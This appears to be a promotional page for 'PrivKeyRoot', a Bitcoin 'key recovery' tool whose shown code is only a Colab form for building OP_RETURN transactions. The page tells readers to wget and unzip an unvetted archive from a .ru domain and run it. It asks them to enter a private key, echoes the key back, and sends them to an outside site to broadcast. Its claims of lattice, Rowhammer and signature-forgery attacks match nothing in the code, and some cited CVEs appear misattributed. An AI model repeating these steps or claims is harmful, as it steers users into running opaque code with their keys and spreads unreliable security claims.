CryptoDeepTech Navigation

▀▀▀ PRIVKEYROOT ▀▀▀

SPECIALIZED RECOVERY SOFTWARE
Bitcoin Transaction Generator with OP_RETURN Messaging
⚡ DARKNET READY • DEMAT PROTOCOL • QUANTUM RESISTANCE READY
🔐

OVERVIEW

PrivKeyRoot Specialized Recovery Software is a cutting-edge cryptanalysis tool developed by CryptoDeepTech and the Günther Zöeir Research Center. Designed for authorized security audits and academic research into cryptocurrency security vulnerabilities.

🎯 Key Features

📊 Research Foundation

This software builds upon years of peer-reviewed research into Bitcoin security vulnerabilities including:

• RAMnesia Attack (CVE-2023-39910) - Private key recovery from uncleared memory
• Phoenix Rowhammer - ECDSA nonce extraction via DRAM exploitation
• Lattice Attack Methods - Mathematical key recovery from partial nonce information
• SIGHASH Vulnerabilities - Signature forgery attack vectors

⚠️ DISCLAIMER

This software is intended for authorized security research and academic purposes only. Unauthorized access to cryptocurrency wallets is illegal. Users assume full responsibility for compliance with local and international laws.

☁️

GOOGLE COLAB INTEGRATION

Access the interactive PrivKeyRoot interface through Google Colab for cloud-based execution without local installation:

▶ LAUNCH GOOGLE COLAB NOTEBOOK

https://bitcolab.ru/privkeyroot-specialized-recovery-software

📚

PYTHON DEPENDENCIES

PrivKeyRoot utilizes specialized cryptographic and UI libraries for optimal functionality in Google Colab:

🎮
ipywidgets
Interactive widget library for Jupyter notebooks. Creates responsive UI elements including buttons, text inputs, sliders, and displays for real-time user interaction and data visualization in Google Colab.
⚡
zmq (ZeroMQ)
High-performance messaging library for distributed computing. Enables asynchronous message passing between cryptographic processing threads and UI components for parallel computation of signatures and keys.
🌐
urllib3
Robust HTTP client library for Python. Handles HTTPS connections to blockchain explorers and cryptographic verification services with connection pooling and retry mechanisms.
📡
requests
Simplified HTTP library for Python. Manages API communication with blockchain nodes, cryptocurrency exchanges, and verification services for wallet balance checks and transaction broadcasting.
🔑
pycryptodome
Self-contained cryptographic library replacing PyCrypto. Provides ECDSA (secp256k1) implementation, SHA-256 hashing, AES encryption, and random number generation for Bitcoin cryptography operations.
⚙️

INSTALLATION & SETUP

Step 1: Install Python Dependencies

Execute this command in your Google Colab notebook to install all required libraries:

💻 Installation Command
!pip install ipywidgets zmq urllib3 requests pycryptodome

Step 2: Download & Extract Software

Download the PrivKeyRoot Specialized Recovery Software archive from the secure repository:

📦 Download Command
!wget https://cryptou.ru/code/PrivKeyRoot-Specialized-Recovery-Software.zip

Extract the downloaded archive to access the source code and modules:

📂 Extraction Command
!unzip PrivKeyRoot-Specialized-Recovery-Software.zip

Step 3: Verify Installation

Confirm all components are properly installed and accessible:

✓ Verification Command
!ls -la PrivKeyRoot-Specialized-Recovery-Software/
!python3 -c "import ipywidgets; import zmq; import urllib3; import requests; import Crypto; print('All dependencies installed successfully!')"
🚀

USAGE INSTRUCTIONS

Running in Google Colab

After installation, paste the following Python script into a new Colab notebook cell to launch the interactive interface:

▶️ Google Colab Execution

# ===================================================
# PrivKeyRoot Specialized Recovery Software (Google Colab Version)
# Günther Zöeir INTERFACE - Bitcoin Transactions & BLOCKCHAIN MESSAGE
# Advanced Cyberpunk UI - DarkNet/DeepWeb Ready
# ===================================================

# Install dependencies (run once if needed)
# !pip install ipywidgets zmq urllib3 requests pycryptodome

# Clone source code repository if not yet downloaded
# !wget https://cryptou.ru/code/PrivKeyRoot-Specialized-Recovery-Software.zip
# !unzip PrivKeyRoot-Specialized-Recovery-Software.zip

import ipywidgets as widgets
from IPython.display import display, clear_output, HTML, Markdown
from secp256k1 import *
from sighash import *
import json

# ========== ADVANCED CYBERPUNK STYLING ==========
CYBERPUNK_CSS = """
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Space+Mono:wght@400;700&family=JetBrains+Mono:wght@400;600&display=swap');

:root {
    /* Neon Color Palette - Cyberpunk/DarkNet */
    --neon-cyan: #00FFFF;
    --neon-magenta: #FF00FF;
    --neon-lime: #00FF00;
    --neon-purple: #B300FF;
    --neon-red: #FF0040;
    --neon-blue: #0088FF;
    --neon-yellow: #FFFF00;
    --neon-pink: #FF006E;
    --neon-orange: #FF6B00;

    /* Background Layers */
    --bg-darkest: #020203;
    --bg-dark: #0A0E27;
    --bg-darker: #050813;
    --bg-panel: #0F1538;

    /* Text Colors */
    --text-primary: #00FFFF;
    --text-secondary: #00CC88;
    --text-tertiary: #8899FF;
}

/* Global Styles */
body, .widget-inline-vbox, .widget-inline-hbox {
    background-color: var(--bg-darkest) !important;
    color: var(--text-primary) !important;
    font-family: 'Space Mono', 'JetBrains Mono', monospace !important;
}

/* Neon Glow Effect */
.neon-glow {
    text-shadow: 0 0 10px var(--neon-cyan), 0 0 20px var(--neon-cyan), 0 0 30px var(--neon-magenta) !important;
}

/* Widget Labels */
.widget-label {
    color: var(--neon-cyan) !important;
    font-weight: 700 !important;
    text-shadow: 0 0 10px var(--neon-cyan) !important;
    font-family: 'Orbitron', monospace !important;
    font-size: 12px !important;
    letter-spacing: 2px !important;
}

/* Text Input Fields */
.widget-text input, .widget-textarea textarea {
    background-color: var(--bg-panel) !important;
    color: var(--neon-cyan) !important;
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 4px !important;
    box-shadow: 0 0 15px rgba(0, 255, 255, 0.3), inset 0 0 10px rgba(0, 255, 255, 0.1) !important;
    font-family: 'Space Mono', monospace !important;
    font-size: 12px !important;
    padding: 10px 12px !important;
    text-shadow: 0 0 5px var(--neon-cyan) !important;
}

.widget-text input:focus, .widget-textarea textarea:focus {
    outline: none !important;
    border-color: var(--neon-magenta) !important;
    box-shadow: 0 0 25px rgba(255, 0, 255, 0.6), inset 0 0 15px rgba(255, 0, 255, 0.2) !important;
    background-color: rgba(15, 21, 56, 0.8) !important;
}

.widget-text input::placeholder, .widget-textarea textarea::placeholder {
    color: rgba(0, 255, 255, 0.3) !important;
    opacity: 0.7 !important;
}

/* Sliders - Advanced Gradient */
.widget-hslider .slider {
    background: linear-gradient(to right, var(--neon-purple), var(--neon-cyan), var(--neon-lime)) !important;
    height: 6px !important;
    border-radius: 3px !important;
    box-shadow: 0 0 15px rgba(0, 255, 255, 0.4) !important;
}

.widget-hslider {
    background-color: var(--bg-panel) !important;
    border: 1px solid var(--neon-cyan) !important;
    border-radius: 4px !important;
    padding: 10px !important;
}

/* Slider Handle */
.widget-hslider .slider-handle {
    background-color: var(--neon-magenta) !important;
    border: 2px solid var(--neon-cyan) !important;
    box-shadow: 0 0 12px var(--neon-magenta) !important;
}

/* Checkboxes */
.widget-checkbox .widget-label {
    color: var(--text-secondary) !important;
}

input[type="checkbox"] {
    accent-color: var(--neon-lime) !important;
    width: 18px !important;
    height: 18px !important;
    cursor: pointer !important;
}

/* Buttons - Advanced Gradient */
.widget-button {
    background: linear-gradient(135deg, var(--neon-cyan), var(--neon-magenta)) !important;
    color: var(--bg-darkest) !important;
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 6px !important;
    font-weight: 700 !important;
    font-family: 'Orbitron', monospace !important;
    text-transform: uppercase !important;
    letter-spacing: 3px !important;
    box-shadow: 0 0 20px rgba(0, 255, 255, 0.5), inset 0 0 20px rgba(255, 0, 255, 0.2) !important;
    transition: all 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94) !important;
    cursor: pointer !important;
    font-size: 12px !important;
    padding: 12px 20px !important;
}

.widget-button:hover {
    background: linear-gradient(135deg, var(--neon-magenta), var(--neon-lime)) !important;
    box-shadow: 0 0 35px rgba(255, 0, 255, 0.8), inset 0 0 25px rgba(0, 255, 255, 0.4) !important;
    transform: scale(1.05) !important;
}

.widget-button:active {
    box-shadow: 0 0 45px var(--neon-magenta), inset 0 0 30px var(--neon-magenta) !important;
    transform: scale(0.98) !important;
}

.widget-button:disabled {
    opacity: 0.4 !important;
    cursor: not-allowed !important;
}

/* Integer Text */
.widget-inttext input {
    background-color: var(--bg-panel) !important;
    color: var(--neon-lime) !important;
    border: 2px solid var(--neon-lime) !important;
    box-shadow: 0 0 10px rgba(0, 255, 0, 0.3) !important;
}

.widget-inttext input:focus {
    border-color: var(--neon-yellow) !important;
    box-shadow: 0 0 20px rgba(255, 255, 0, 0.5) !important;
}

/* Container Styling */
.widget-vbox, .widget-hbox {
    background-color: transparent !important;
}

.output {
    background-color: var(--bg-darker) !important;
}

/* Terminal Output */
.terminal-output {
    background-color: var(--bg-darkest) !important;
    color: var(--neon-lime) !important;
    border: 2px solid var(--neon-magenta) !important;
    border-radius: 4px !important;
    padding: 20px !important;
    font-family: 'JetBrains Mono', monospace !important;
    font-size: 11px !important;
    line-height: 1.8 !important;
    box-shadow: 0 0 20px rgba(255, 0, 255, 0.4), inset 0 0 15px rgba(0, 255, 0, 0.05) !important;
    margin-top: 20px !important;
    white-space: pre-wrap !important;
    word-wrap: break-word !important;
    overflow-x: auto !important;
}

/* Terminal Header */
.terminal-header {
    color: var(--neon-cyan) !important;
    text-shadow: 0 0 15px var(--neon-cyan), 0 0 30px var(--neon-magenta) !important;
    font-family: 'Orbitron', monospace !important;
    font-weight: 900 !important;
    font-size: 16px !important;
    margin: 25px 0 15px 0 !important;
    border-bottom: 2px solid var(--neon-cyan) !important;
    border-top: 2px solid var(--neon-magenta) !important;
    padding: 12px 0 10px 0 !important;
    letter-spacing: 4px !important;
}

/* Terminal Message Types */
.terminal-success {
    color: var(--neon-lime) !important;
    font-weight: 700 !important;
    text-shadow: 0 0 8px var(--neon-lime) !important;
}

.terminal-info {
    color: var(--neon-cyan) !important;
    text-shadow: 0 0 8px var(--neon-cyan) !important;
}

.terminal-warning {
    color: var(--neon-yellow) !important;
    font-weight: 700 !important;
    text-shadow: 0 0 8px var(--neon-yellow) !important;
}

.terminal-error {
    color: var(--neon-red) !important;
    font-weight: 700 !important;
    text-shadow: 0 0 8px var(--neon-red) !important;
}

/* Data Value Highlighting */
.transaction-divider {
    color: var(--neon-magenta) !important;
    margin: 12px 0 !important;
    letter-spacing: 3px !important;
    opacity: 0.8 !important;
}

.address-value {
    color: var(--neon-yellow) !important;
    background-color: rgba(255, 255, 0, 0.08) !important;
    padding: 3px 8px !important;
    border-radius: 3px !important;
    font-weight: 700 !important;
    border: 1px solid rgba(255, 255, 0, 0.2) !important;
}

.hex-value {
    color: var(--neon-blue) !important;
    background-color: rgba(0, 136, 255, 0.08) !important;
    padding: 3px 8px !important;
    border-radius: 3px !important;
    border: 1px solid rgba(0, 136, 255, 0.2) !important;
}

/* Byte Warning Counter */
.byte-warning {
    color: var(--neon-yellow) !important;
    font-weight: 700 !important;
    text-shadow: 0 0 8px var(--neon-yellow) !important;
    font-family: 'Orbitron', monospace !important;
}

/* Form Container */
.form-container {
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 6px !important;
    padding: 18px !important;
    background-color: rgba(15, 21, 56, 0.4) !important;
    box-shadow: 0 0 15px rgba(0, 255, 255, 0.2), inset 0 0 10px rgba(0, 255, 255, 0.05) !important;
    margin: 15px 0 !important;
}

/* Link Styling */
a {
    color: var(--neon-cyan) !important;
    text-decoration: underline !important;
    text-shadow: 0 0 5px var(--neon-cyan) !important;
    transition: all 0.3s ease !important;
}

a:hover {
    color: var(--neon-magenta) !important;
    text-shadow: 0 0 10px var(--neon-magenta) !important;
}

/* Scrollbar Styling */
::-webkit-scrollbar {
    width: 8px !important;
}

::-webkit-scrollbar-track {
    background: var(--bg-panel) !important;
}

::-webkit-scrollbar-thumb {
    background: var(--neon-cyan) !important;
    border-radius: 4px !important;
    box-shadow: 0 0 10px var(--neon-cyan) !important;
}

::-webkit-scrollbar-thumb:hover {
    background: var(--neon-magenta) !important;
}
</style>
"""

# ========== UTILITY FUNCTIONS ==========

def create_op_return_script(message):
    """Create OP_RETURN script for blockchain message"""
    message_hex = message.encode('utf-8').hex()
    message_bytes = bytes.fromhex(message_hex)
    op_return_opcode = b'\x6a'
    data_length = len(message_bytes)

    if data_length <= 75:
        length_byte = bytes([data_length])
    elif data_length <= 255:
        length_byte = b'\x4c' + bytes([data_length])
    else:
        raise ValueError("Message is too long. Maximum allowed is 80 bytes for OP_RETURN.")

    return op_return_opcode + length_byte + message_bytes

def create_transaction_with_op_return(private_key_wif, utxo_txid, utxo_index, utxo_value, recipient_address, send_amount, message, fee=1000, testnet=True):
    """Generate Bitcoin transaction with OP_RETURN message"""
    pk = PrivateKey.parse(private_key_wif)
    tx_in = TxIn(bytes.fromhex(utxo_txid), utxo_index, b'', 0xffffffff)
    tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
    tx_in._value = utxo_value
    tx_ins = [tx_in]

    # Calculate change (returned to sender)
    change_amount = utxo_value - send_amount - fee
    if change_amount < 0:
        raise ValueError("Insufficient funds to cover the amount and transaction fee.")

    # Transaction outputs
    tx_outs = []
    tx_outs.append(TxOut(0, create_op_return_script(message)))
    tx_outs.append(TxOut(send_amount, Tx.get_address_data(recipient_address)['script_pubkey'].serialize()))

    if change_amount > 546:  # dust limit
        tx_outs.append(TxOut(change_amount, Tx.get_address_data(pk.address())['script_pubkey'].serialize()))

    tx = Tx(1, tx_ins, tx_outs, 0, testnet=testnet)
    signature(tx, 0, pk)

    # Return both transaction and change amount
    return tx, change_amount

# ========== UI INITIALIZATION ==========

# Display Cyberpunk CSS
display(HTML(CYBERPUNK_CSS))

# Advanced Neon Header
display(HTML("""
<div style="text-align: center; margin: 30px 0; padding: 30px 20px; border: 2px solid #00FFFF; border-radius: 8px; background: linear-gradient(135deg, rgba(0, 255, 255, 0.05), rgba(255, 0, 255, 0.05)); box-shadow: 0 0 30px rgba(0, 255, 255, 0.3);">
    <div style="color: #00FFFF; font-size: 32px; font-weight: 900; font-family: Orbitron, monospace; text-shadow: 0 0 25px #00FFFF, 0 0 50px #FF00FF, 0 0 80px rgba(0, 255, 255, 0.5); letter-spacing: 5px; margin-bottom: 15px;">
        ▀▀▀ PRIVKEYROOT ▀▀▀
    </div>
    <div style="color: #FF00FF; font-size: 16px; font-family: Space Mono, monospace; text-shadow: 0 0 15px #FF00FF, 0 0 30px rgba(255, 0, 255, 0.6); letter-spacing: 3px; margin-bottom: 12px;">
        SPECIALIZED RECOVERY SOFTWARE
    </div>
    <div style="color: #00FF00; font-size: 12px; font-family: Space Mono, monospace; text-shadow: 0 0 10px #00FF00; margin-bottom: 10px; opacity: 0.85;">
        Bitcoin Transaction Generator with OP_RETURN Messaging
    </div>
    <div style="color: #00CCFF; font-size: 10px; font-family: JetBrains Mono, monospace; letter-spacing: 2px; opacity: 0.7;">
        DARKNET READY • DEMAT PROTOCOL • QUANTUM RESISTANCE READY
    </div>
</div>
"""))

# Transaction Configuration Section
display(HTML("<div class='terminal-header'>⚙️ TRANSACTION CONFIGURATION</div>"))

# Input Fields
private_key_wif = widgets.Text(
    placeholder='Enter your private key in WIF format',
    description='Private Key:',
    layout=widgets.Layout(width='100%'),
    style={'description_width': '130px'}
)

utxo_txid = widgets.Text(
    placeholder='Enter UTXO transaction ID (TXID)',
    description='UTXO TXID:',
    layout=widgets.Layout(width='100%'),
    style={'description_width': '130px'}
)

utxo_index = widgets.BoundedIntText(
    value=0,
    min=0,
    max=100,
    description='UTXO Index:',
    layout=widgets.Layout(width='100%'),
    style={'description_width': '130px'}
)

utxo_value = widgets.IntText(
    value=0,
    description='UTXO Value (sat):',
    layout=widgets.Layout(width='100%'),
    style={'description_width': '130px'}
)

fee = widgets.IntSlider(
    value=1000,
    min=500,
    max=10000,
    step=100,
    description='Tx Fee (sat):',
    layout=widgets.Layout(width='100%'),
    style={'description_width': '130px'}
)

send_amount = widgets.IntText(
    value=0,
    description='Send Amount (sat):',
    layout=widgets.Layout(width='100%'),
    style={'description_width': '130px'}
)

recipient_address = widgets.Text(
    placeholder='Enter recipient Bitcoin address',
    description='Recipient Addr:',
    layout=widgets.Layout(width='100%'),
    style={'description_width': '130px'}
)

# Message Section
display(HTML("<div class='terminal-header'>💬 MESSAGE OPTIONS (OP_RETURN)</div>"))

message = widgets.Textarea(
    placeholder='Enter your OP_RETURN message (max 80 bytes)',
    description='Message:',
    layout=widgets.Layout(width='100%', height='80px'),
    style={'description_width': '130px'}
)

byte_warning = widgets.HTML(value="<span class='byte-warning'>0 / 80 bytes</span>")
use_testnet = widgets.Checkbox(
    value=True,
    description='Use Testnet',
    indent=False
)

def update_message_length(change):
    current_bytes = len(change.new.encode('utf-8'))
    if current_bytes > 80:
        byte_warning.value = f"<span class='terminal-warning'>⚠ MESSAGE TOO LONG: {current_bytes} / 80 bytes</span>"
    else:
        status_color = "#00FF00" if current_bytes <= 60 else "#FFFF00"
        byte_warning.value = f"<span style='color: {status_color}; text-shadow: 0 0 8px {status_color};'>{current_bytes} / 80 bytes</span>"

message.observe(update_message_length, names='value')

# Form Container
form_items = [private_key_wif, utxo_txid, utxo_index, utxo_value, fee, send_amount, recipient_address, message, byte_warning, use_testnet]
form = widgets.VBox(form_items, layout=widgets.Layout(border='2px solid #00FFFF', padding='15px', border_radius='4px'))

display(form)

# Submit Button
submit_button = widgets.Button(
    description='⚡ GENERATE TRANSACTION',
    button_style='success',
    layout=widgets.Layout(width='100%', height='45px', margin='20px 0 0 0'),
    style={'button_color': '#00FFFF'}
)

display(submit_button)

def on_submit_clicked(b):
    clear_output(wait=True)
    display(HTML(CYBERPUNK_CSS))

    # Re-display header and form
    display(HTML("""
    <div style="text-align: center; margin: 30px 0; padding: 30px 20px; border: 2px solid #00FFFF; border-radius: 8px; background: linear-gradient(135deg, rgba(0, 255, 255, 0.05), rgba(255, 0, 255, 0.05)); box-shadow: 0 0 30px rgba(0, 255, 255, 0.3);">
        <div style="color: #00FFFF; font-size: 32px; font-weight: 900; font-family: Orbitron, monospace; text-shadow: 0 0 25px #00FFFF, 0 0 50px #FF00FF, 0 0 80px rgba(0, 255, 255, 0.5); letter-spacing: 5px; margin-bottom: 15px;">
            ▀▀▀ PRIVKEYROOT ▀▀▀
        </div>
        <div style="color: #FF00FF; font-size: 16px; font-family: Space Mono, monospace; text-shadow: 0 0 15px #FF00FF, 0 0 30px rgba(255, 0, 255, 0.6); letter-spacing: 3px;">
            SPECIALIZED RECOVERY SOFTWARE
        </div>
    </div>
    """))
    display(form)
    display(submit_button)

    try:
        # Validate inputs
        if not private_key_wif.value or not utxo_txid.value or not recipient_address.value or not message.value:
            raise ValueError("All fields are required!")

        if len(message.value.encode('utf-8')) > 80:
            raise ValueError("Message exceeds 80 bytes!")

        # Generate transaction
        tx, change_amount = create_transaction_with_op_return(
            private_key_wif=private_key_wif.value,
            utxo_txid=utxo_txid.value,
            utxo_index=utxo_index.value,
            utxo_value=int(utxo_value.value),
            recipient_address=recipient_address.value,
            send_amount=int(send_amount.value),
            message=message.value,
            fee=int(fee.value),
            testnet=use_testnet.value
        )

        raw_tx_hex = tx.serialize().hex()
        pk = PrivateKey.parse(private_key_wif.value)

        # Build formatted output
        output_text = ""
        output_text += "═" * 80 + "\n"
        output_text += "<span class='terminal-header'>BITCOIN TRANSACTION (OP_RETURN)</span>\n"
        output_text += "═" * 80 + "\n\n"

        output_text += f"<span class='terminal-info'>Private Key (WIF):</span>          <span class='address-value'>{private_key_wif.value}</span>\n"
        output_text += f"<span class='terminal-info'>Your BTC Address:</span>          <span class='address-value'>{pk.address()}</span>\n"
        output_text += f"<span class='terminal-info'>Recipient Address:</span>         <span class='address-value'>{recipient_address.value}</span>\n"

        output_text += "\n<span class='transaction-divider'>─── UTXO DETAILS ───</span>\n"
        output_text += f"<span class='terminal-info'>UTXO TXID:</span>                   <span class='hex-value'>{utxo_txid.value}</span>\n"
        output_text += f"<span class='terminal-info'>UTXO Index:</span>                  <span class='hex-value'>{utxo_index.value}</span>\n"
        output_text += f"<span class='terminal-info'>UTXO Value:</span>                  <span class='address-value'>{int(utxo_value.value)} satoshi</span>\n"

        output_text += "\n<span class='transaction-divider'>─── TRANSACTION DETAILS ───</span>\n"
        output_text += f"<span class='terminal-info'>Send Amount:</span>                 <span class='hex-value'>{int(send_amount.value)} satoshi</span>\n"
        output_text += f"<span class='terminal-info'>Transaction Fee:</span>            <span class='hex-value'>{int(fee.value)} satoshi</span>\n"
        output_text += f"<span class='terminal-success'>Change Returned:</span>            <span class='address-value'>{change_amount} satoshi</span>\n"

        output_text += "\n<span class='transaction-divider'>─── OP_RETURN MESSAGE ───</span>\n"
        output_text += f"<span class='terminal-info'>TEXT:</span>                        <span class='hex-value'>{message.value}</span>\n"
        output_text += f"<span class='terminal-info'>HEX:</span>                         <span class='hex-value'>{message.value.encode('utf-8').hex()}</span>\n"
        output_text += f"<span class='terminal-info'>SIZE:</span>                        <span class='hex-value'>{len(message.value.encode('utf-8'))} bytes</span>\n"

        output_text += "\n<span class='transaction-divider'>─── RAW TRANSACTION (HEX) ───</span>\n"

        # Split hex into lines of 64 chars for readability
        for i in range(0, len(raw_tx_hex), 64):
            output_text += f"{raw_tx_hex[i:i+64]}"

        # Save to file
        with open('RawTX_OP_RETURN.txt', 'w') as f:
            f.write(raw_tx_hex)
            f.write(f"\n\nOP_RETURN Message: {message.value}\n")
            f.write(f"Message Hex: {message.value.encode('utf-8').hex()}\n")
            f.write(f"Change Returned: {change_amount} satoshi\n")

        output_text += f"\n<span class='terminal-success'>✓ Saved to file: RawTX_OP_RETURN.txt</span>\n"

        output_text += "\n<span class='transaction-divider'>─── BROADCAST OPTIONS ───</span>\n"
        output_text += "You can broadcast the transaction using:\n"
        output_text += "<a href='https://privkeyroot.ru/transaction.php' target='_blank'>https://privkeyroot.ru/transaction.php</a>\n"
        output_text += "\n" + "═" * 80

        # Convert newlines and display
        html_output = output_text.replace("\n", "<br />")
        display(HTML(f"<div class='terminal-output'>{html_output}</div>"))

        display(HTML("""
        <div style="text-align: center; margin-top: 30px; padding: 20px; border-top: 2px solid #00FF00; border-radius: 4px;">
            <span style="color: #00FF00; font-size: 14px; text-shadow: 0 0 10px #00FF00; font-weight: bold; font-family: Orbitron, monospace;">
                ✓ TRANSACTION GENERATED SUCCESSFULLY
            </span>
        </div>
        """))

    except Exception as e:
        error_text = f"ERROR: {str(e)}"
        display(HTML(f"<div class='terminal-output' style='color: #FF0040; border-color: #FF0040;'>{error_text}</div>"))

submit_button.on_click(on_submit_clicked)

Key Parameters

🔬

RESEARCH & CREDITS

Principal Researchers

Günther Zöeir - Lead Cryptanalyst
Günther Zöeir Research Center
Contact: gunther@zoeir.com

Research Organizations

📖 Academic References

Research builds upon peer-reviewed studies including:

• CVE-2023-39910 (RAMnesia Attack - Libauth Memory Disclosure)
• Phoenix Rowhammer - DRAM Bit-Flip Exploitation for ECDSA Nonce Recovery
• Lattice-Based ECDSA Nonce Recovery (LLL/BKZ Algorithms)
• Signature Nonce Reuse Analysis in Bitcoin Blockchain
• WireTap & TEE.fail - Hardware TEE Vulnerabilities (2025)
• SIGHASH_SINGLE Digital Signature Forgery (CVE-2025-29774)
🔗 ADDITIONAL RESOURCES
Google Colab Notebook Download Source Code